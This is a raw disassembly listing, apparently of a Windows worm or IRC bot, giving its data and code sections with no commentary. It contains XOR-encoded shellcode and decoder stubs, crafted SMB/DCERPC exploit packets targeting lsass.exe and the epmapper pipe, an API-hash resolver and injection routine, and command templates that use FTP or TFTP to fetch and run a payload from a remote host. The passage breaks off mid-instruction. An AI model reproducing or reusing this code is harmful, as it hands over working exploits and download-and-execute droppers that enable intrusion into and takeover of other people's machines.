6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: ___:00426C74o align 4 off_4274D8 dd offset byte_505446 ; DATA XREF: ___:00426C70o off_4274DC dd offset byte_435249 ; DATA XREF: ___:00426C6Co off_4274E0 dd offset word_544F42 ; DATA XREF: ___:off_426C68o unk_4274E4 db 2 ; DATA XREF: sub_402688+2FCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_427528 db 2 ; DATA XREF: sub_402688+2ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_402688+235o align 4 unk_427578 db 2 ; DATA XREF: sub_402688+186o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 10h unk_4275C0 db 2 ; DATA XREF: sub_402688+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 unk_427604 db 2 ; DATA XREF: sub_402688+85o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 dword_427648 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DD7+E1o ; sub_402DD7+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_427694 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_402B84+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4279F8 dd 20h, 0 ; DATA XREF: sub_402B84+136o dd 20h, 5C005Ch, 0 off_427A0C dd offset off_43005C ; DATA XREF: sub_402B84+15Do a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_427A4C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_402B84+45o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_427B5C dd 18759Fh ; DATA XREF: sub_402B84+104o dword_427B60 dd 100139Dh ; DATA XREF: sub_402B84+FBo asc_427B64: ; DATA XREF: sub_4029E9+1Co ; sub_402ACC+16o unicode 0, <\\>,0 align 4 off_427B6C dd offset dword_49005C ; DATA XREF: sub_4029E9+Co ; sub_402ACC+Bo dd offset off_430050 dd 24h unk_427B78 db 2 ; DATA XREF: sub_402DD7+299o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTransferComple db ' transfer complete to IP: %s',0 align 10h aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o align 8 jmp short loc_427BDA ; =============== S U B R O U T I N E ======================================= sub_427BCA proc far ; CODE XREF: sub_427BCA:loc_427BDAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_427BD2: ; CODE XREF: sub_427BCA+Cj xor byte ptr [ebx+ecx], 99h loop loc_427BD2 jmp short loc_427BDF ; --------------------------------------------------------------------------- loc_427BDA: ; CODE XREF: ___:00427BC8j call near ptr sub_427BCA loc_427BDF: ; CODE XREF: sub_427BCA+Ej jo short loc_427C43 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_427C61 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_427C43: ; CODE XREF: sub_427BCA:loc_427BDFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_427C61: ; CODE XREF: sub_427BCA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_427BCA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_427D08: ; DATA XREF: sub_403249+156o ; sub_403249+212o jmp short loc_427D1A ; =============== S U B R O U T I N E ======================================= sub_427D0A proc near ; CODE XREF: sub_427D0A:loc_427D1Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_427D12: ; CODE XREF: sub_427D0A+Cj xor byte ptr [edx+ecx], 99h loop loc_427D12 jmp short loc_427D1F ; --------------------------------------------------------------------------- loc_427D1A: ; CODE XREF: ___:loc_427D08j call sub_427D0A loc_427D1F: ; CODE XREF: sub_427D0A+Ej jo short near ptr dword_427C98+1Eh cwde cdq cdq retn sub_427D0A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_427DB8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_403249+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_427EA0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040370Do dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_427F2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403739o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_427FD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403760o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4280B8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_403249+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_42811C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_428188 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42822C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4282AC dd offset loc_401493+2 ; DATA XREF: sub_403249+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_428340 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4283AC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_428420 dd 0 ; DATA XREF: sub_403249+35Fo dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 3 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4284E0 dd 1004600h ; DATA XREF: sub_403249+140r ; sub_403249+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_428598 dd 0A0D7325h, 0 ; DATA XREF: sub_4030E8+102o ; sub_405144+DFo ... aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4030E8+BEo db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o ; --------------------------------------------------------------------------- loc_428620: ; DATA XREF: sub_403249+177o jmp short loc_428628 ; --------------------------------------------------------------------------- jmp short loc_42862A ; --------------------------------------------------------------------------- align 8 loc_428628: ; CODE XREF: ___:loc_428620j ; DATA XREF: sub_403249+27o pop esp pop esp loc_42862A: ; CODE XREF: ___:00428622j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_428634 dd 1CEC8166h ; DATA XREF: sub_403249+Dr dword_428638 dd 0E4FF07h ; DATA XREF: sub_403249+16r byte_42863C db 90h ; DATA XREF: sub_403A90+B2o db 42h, 90h, 42h db 90h dd offset word_429042 align 4 dword_428648 dd 10FF8h, 0 ; DATA XREF: sub_403A90+6Ao dword_428650 dd 10FF8h ; DATA XREF: sub_403A90+79o dword_428654 dd 7FFDF020h, 0 ; DATA XREF: sub_403A90+162o dword_42865C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403EBA+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4286E4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403EBA+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_428714 dd 0 ; DATA XREF: sub_403EBA+44o dd 800000D4h, 0 unk_428720 db 81h ; ; DATA XREF: sub_403F94+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_42876C db 41h ; DATA XREF: sub_404032+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4287B0 proc near ; DATA XREF: ___:0040430Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4288AC push dword ptr [esi] push 63D61209h call sub_4288C2 mov [esi+8], eax call sub_428875 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4288C2 mov [esi+0Ch], eax call sub_428827 push dword ptr [esi+4] push 4C0297FAh call sub_4288C2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4287B0 endp ; =============== S U B R O U T I N E ======================================= sub_428827 proc near ; CODE XREF: sub_4287B0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_428850 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_428827 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428850 proc near ; CODE XREF: sub_428827+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_42885F: ; CODE XREF: sub_428850+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_42886C inc ebx jmp short loc_42885F ; --------------------------------------------------------------------------- loc_42886C: ; CODE XREF: sub_428850+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_428850 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428875 proc near ; CODE XREF: sub_4287B0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_42888D: ; CODE XREF: sub_428875+1Ej cmp [ecx], ebx jz short loc_428895 mov ecx, [ecx] jmp short loc_42888D ; --------------------------------------------------------------------------- loc_428895: ; CODE XREF: sub_428875+1Aj mov edx, edi loc_428897: ; CODE XREF: sub_428875+2Aj cmp [edx+4], ebx jz short loc_4288A1 mov edx, [edx+4] jmp short loc_428897 ; --------------------------------------------------------------------------- loc_4288A1: ; CODE XREF: sub_428875+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_428875 endp ; =============== S U B R O U T I N E ======================================= sub_4288AC proc near ; CODE XREF: sub_4287B0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4288AC endp ; =============== S U B R O U T I N E ======================================= sub_4288C2 proc near ; CODE XREF: sub_4287B0+16p ; sub_4287B0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4288D8: ; CODE XREF: sub_4288C2+33j jecxz short loc_428912 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4288E5: ; CODE XREF: sub_4288C2+2Dj lodsb cmp al, ah jz short loc_4288F1 ror edi, 0Dh add edi, eax jmp short loc_4288E5 ; --------------------------------------------------------------------------- loc_4288F1: ; CODE XREF: sub_4288C2+26j cmp edi, [esp+20h+arg_0] jnz short loc_4288D8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_428912: ; CODE XREF: sub_4288C2:loc_4288D8j ; sub_4288C2:loc_428912j jmp short loc_428912 sub_4288C2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_428918 proc near ; DATA XREF: ___:004042BFo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_42896A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_428935: ; CODE XREF: sub_428918+38j jecxz short loc_428965 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_428940: ; CODE XREF: sub_428918+32j lodsb test al, al jz short loc_42894C ror edx, 0Dh add edx, eax jmp short loc_428940 ; --------------------------------------------------------------------------- loc_42894C: ; CODE XREF: sub_428918+2Bj cmp edx, [esp+arg_0] jnz short loc_428935 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_428965: ; CODE XREF: sub_428918:loc_428935j mov [esp+arg_0], ebx retn sub_428918 endp ; =============== S U B R O U T I N E ======================================= sub_42896A proc near ; CODE XREF: sub_428918+7p ; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_428983 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_42898E ; --------------------------------------------------------------------------- loc_428983: ; CODE XREF: sub_42896A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_42898E: ; CODE XREF: sub_42896A+14j pop edi xor esi, esi pusha push esi jmp short loc_4289A2 sub_42896A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428995 proc near ; CODE XREF: sub_42896A:loc_4289A2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_428995 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42896A loc_4289A2: ; CODE XREF: sub_42896A+29j call sub_428995 loc_4289A7: ; DATA XREF: sub_403A35+1Bo ; sub_40EE72+822o add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_42896A ; --------------------------------------------------------------------------- db 3 dup(0) dword_4289AC dd 60h ; DATA XREF: sub_403A90+320o dword_4289B0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o dword_4289BC dd 30h ; DATA XREF: sub_403A90+2CAo ; ___:0042FA18o dword_4289C0 dd 0A1h ; DATA XREF: sub_403A90+29Fo dword_4289C4 dd 3 ; DATA XREF: sub_403A90+246o aCccc db 'CCCC',0 ; DATA XREF: sub_403A90+153o align 10h loc_4289D0: ; DATA XREF: sub_403A90+E8o jmp short near ptr dword_4289D8 ; --------------------------------------------------------------------------- align 8 dword_4289D8 dd 0 ; CODE XREF: ___:loc_4289D0j aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: ___:004042E4o ; sub_404F9A+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_428A50 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo ; --------------------------------------------------------------------------- loc_428A5C: ; CODE XREF: ___:00428A66j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_428A5C inc edi jz short loc_428AA3 and eax, 952CE753h inc esp jle short loc_428ACB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_428AA3: ; CODE XREF: ___:00428A69j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_428B02+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_428AC8: ; CODE XREF: ___:00428AF5j xor [esi-25h], bl loc_428ACB: ; CODE XREF: ___:00428A71j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_428AE4: ; CODE XREF: ___:00428B17j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr 